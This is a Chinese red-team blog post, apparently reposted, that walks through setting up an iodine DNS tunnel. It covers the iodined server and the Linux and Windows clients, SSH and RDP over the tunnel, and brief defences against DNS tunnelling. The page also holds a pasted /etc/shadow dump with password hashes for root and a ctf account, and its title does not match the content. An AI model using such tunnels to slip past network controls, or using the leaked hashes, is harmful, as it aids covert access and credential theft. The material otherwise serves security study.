linux中网卡的流量怎么通过c语言获取_通过DNS隧道进行通信 iodine

渗透攻击红队

一个专注于红队攻击的公众号

2f5577fade3c8b523733c0790b89261b.png

大家好,这里是 渗透攻击红队 的第 21 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),不出意外每天一更

2e5773fc19601caaab945a417a457f07.gifiodine

iodine 可以通过一台 DNS 服务器制造一个 IPv4 数据通道,特别适合在目标主机只能发送 DNS 请求的网络环境使用。

iodine 是基于 C 语言开发的,分别服务端程序 iodined 和客户端程序 iodine,Kali Linux 内置了 iodine。

iodine 下载地址:http://code.kryo.se/iodine

iodine支持多平台、支持16个并发连接,支持多种 DNS 记录类型,支持同网段隧道 IP 地址(不同于服务器一客户端网段)、支持强制密码机制。

iodine 支持直接转发和中继模式,其原理是:通过 TAP 虚拟网卡,在服务端建立一个局域网;在客户端,通过 TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同一局域网(可以通过ping命令通信)。

在客户端和服务端之间建立连接之后,客户段机器上会多出一块名为“dns0”的虚拟网卡。

iodine 使用

iodine进行DNS通信


一、安装服务端

首先需要设置域名(域名越短,隧道的宽带消耗就越小)

设置A记录 iodine 服务器的 IP 地址:

424e70121c218d6f718f1901134d09f9.png

然后将 NS 记录指向此子域名:

91eda5955f6149e36209fd815619d662.png

接下来,在服务端中安装 iodine:

apt install iodine

a7182b553a6f60410d1c6690deb8bc94.png

安装后,就可以使用命令运行 iodine:

iodined -f -c -P saul 192.168.0.1 vpn.saulgoodman.club -DD# -f  在前台运行# -c  禁止检查所有传入请求的客户端 IP 地址# -P  客户端和服务器之间用于验证身份的密码# -D  指定调试级别。-DD指的是二级,D的数量随等级增加# 192.168.0.1  是自定义的局域网虚拟 IP 地址

62e2b8000e8a9642cc4b5cee38d34e2d.png

之后可以通过 https://code.kryo.se/iodine/check-it/ 网站检查 iodine 是否配置成功:

ea4a69a2667382f829d17224b6c8f39b.png

c6617a285ad0e9fba661b1072474a5c0.png

显示 Well done, your iodine setup seems fine!  说明配置完成!

二、安装客户端

在 Linux 客户端机器上,只需安装 iodine 客户端:

iodine -f -P saul vpn.saulgoodman.club -M 200# -r  iodine有时候会自动将DNS隧道切换为UDP通道,该参数的作用是强制在任何情况下使用DNS隧道# -M  指定上行主机名的大小# -m  调节最大下行分片的大小# -T  指定所使用的DNS请求的类型,可选项有NULL,PRIVATE,TXT,SRV,CHAME,MX,A# -O  指定数据编码# -L  指定是否开启懒惰模式(默认开启)# -I  指定请求与请求之间的时间间隔

efa5a4c00fd11d97d401ea16dc49fe62.png

之后客户端就多了一个网卡:192.168.0.3(dns0)

42953e40b65b7f08d844b74202aac7c1.png

abbd1f9d873b99982534bc4efed28d6f.png

这样客户端和服务端就相当于在同一个局域网,我们就可以通过SSH登录服务端,反过来服务端也可以通过SSH登录服务端:

ssh 192.168.0.1

0c4a786233d880746bfc8211f7accdff.png

在 Windows客户端:

windows客户端可以直接使用编译好的windows版本,同时需要安装TAP网卡驱动程序。也可以下载OpenVPN,在安装时仅选择TAP-Win32驱动程序:

789abf9aa50c9336662acc905c8ed216.png

安装后服务器上就会多出一块“TAP-Wndows ADApter V9”的网卡:

fd9b04d39ee3ad3804c091628d9250c4.png

运行客户端程序iodine(cmd已管理员权限运行),如果出现提示“Connection setup complete, transmitting data”,就表示DNS隧道已经建立。

iodine.exe -f -P saul vpn.saulgoodman.club

d5027499d07df4851a0f940009913b4e.png

此时,TCPoverDNS已经建立了,在客户端ping 192.168.0.1命令可以ping通:

bc0f6051201208802e890f7f5c4aa48b.png

DNS隧道使用方法比较简单,由于客户端和服务端在同一个局域网中,只要访问服务端即可。

例如想要登录目标主机的3389端口,就可以执行mstsc命令,同样目标主机也可以登录SSH服务端。

三、防御DNS隧道攻击的方法

1.禁止网络中任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。

2.虽然没有人会将TXT解析请求发送给DNS服务器,但是邮件服务器/网关会这样做,因此,可以将邮件服务器/网关列入白名单并阻止传入和传出流量中的TXT请求。  

3.跟踪用户的DNS查询次数,如果达到阈值,就生成相应的报告。


参考文章:

https://mp.weixin.qq.com/s/jHTt-ucuIf_X7htEA5VyAQ

https://www.cnblogs.com/micr067/p/12263337.html

533d3836356d689b47c51aef320b2c67.png

渗透攻击红队

一个专注于渗透红队攻击的公众号

cc1efbaa904247cf63e2537356b3f7ac.png 6d320cc704fe07f737d9ae91522654f6.png点分享 80d0f3d90c319930bfc017653cf3bda4.png点点赞 6ea98b8a653d2ee1911da076dd1addc2.png点在看
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
root:$6$RMpgG8z.$GrGzDK0J1/uXc/Z2WIp6WgIYEB6Bi/Sw2aCc86U2E.BK80mszROf4K1ZB172DOQzgRb6U/2jGPh/8rwXQsbM3/:17277:0:99999:7::: daemon:*:17272:0:99999:7::: bin:*:17272:0:99999:7::: sys:*:17272:0:99999:7::: sync:*:17272:0:99999:7::: games:*:17272:0:99999:7::: man:*:17272:0:99999:7::: lp:*:17272:0:99999:7::: mail:*:17272:0:99999:7::: news:*:17272:0:99999:7::: uucp:*:17272:0:99999:7::: proxy:*:17272:0:99999:7::: www-data:*:17272:0:99999:7::: backup:*:17272:0:99999:7::: list:*:17272:0:99999:7::: irc:*:17272:0:99999:7::: gnats:*:17272:0:99999:7::: nobody:*:17272:0:99999:7::: systemd-timesync:*:17272:0:99999:7::: systemd-network:*:17272:0:99999:7::: systemd-resolve:*:17272:0:99999:7::: systemd-bus-proxy:*:17272:0:99999:7::: _apt:*:17272:0:99999:7::: mysql:!:17272:0:99999:7::: epmd:*:17272:0:99999:7::: Debian-exim:!:17272:0:99999:7::: uuidd:*:17272:0:99999:7::: rwhod:*:17272:0:99999:7::: redsocks:!:17272:0:99999:7::: usbmux:*:17272:0:99999:7::: miredo:*:17272:0:99999:7::: Debian-snmp:!:17272:0:99999:7::: ntp:*:17272:0:99999:7::: stunnel4:!:17272:0:99999:7::: sslh:!:17272:0:99999:7::: rtkit:*:17272:0:99999:7::: postgres:*:17272:0:99999:7::: dnsmasq:*:17272:0:99999:7::: messagebus:*:17272:0:99999:7::: iodine:*:17272:0:99999:7::: arpwatch:!:17272:0:99999:7::: couchdb:*:17272:0:99999:7::: avahi:*:17272:0:99999:7::: sshd:*:17272:0:99999:7::: colord:*:17272:0:99999:7::: saned:*:17272:0:99999:7::: speech-dispatcher:!:17272:0:99999:7::: pulse:*:17272:0:99999:7::: king-phisher:*:17272:0:99999:7::: Debian-gdm:*:17272:0:99999:7::: dradis:*:17272:0:99999:7::: beef-xss:*:17272:0:99999:7::: xrdp:!:17472:0:99999:7::: lightdm:*:17472:0:99999:7::: ctf:$6$d1Y17YhS$P1G.pKFO6VKvKx.y0H7nP5kXAHUAhj6hYroEA.ThT1/kErw37IhVclt.UWCFXrfq/sEZk1jhb52KlPWidJKpp0:17473:0:99999:7:::
07-13

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值